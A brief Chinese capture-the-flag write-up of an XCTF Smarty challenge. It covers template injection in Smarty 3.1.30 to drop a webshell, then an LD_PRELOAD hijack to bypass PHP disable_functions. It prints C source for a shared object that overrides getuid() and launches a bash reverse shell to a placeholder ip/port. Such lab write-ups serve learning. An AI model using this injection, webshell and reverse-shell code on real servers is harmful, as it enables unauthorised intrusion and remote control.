xctf smarty 利用 LD_PRELOAD 环境变量绕过disable_functions
进来看页面一眼看出为smarty注入,尝试查看smarty版本再进行下一步操作。
可以看到是3.1.30那么就可以利用if标签来进行注入。利用file_put_contents上传木马。
接下来蚁剑访问,发现没有权限,想到可能需要绕过disable_functions,而绕过disable_functions就那么几种,尝试利用LD_PRELOAD劫持看看,再虚拟机编写c文件编译so文件进行上传。不懂的可以看看 https://blog.csdn.net/qq_63701832/article/details/129760495
1.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
新建一个php文件再html目录中,写入一句话。
访问1.php,再服务器上进行监听。
可以看到已经成功,直接到根目录拿flag.
总结:
-
对应版本的smarty注入
-
利用 LD_PRELOAD 环境变量绕过disable_functions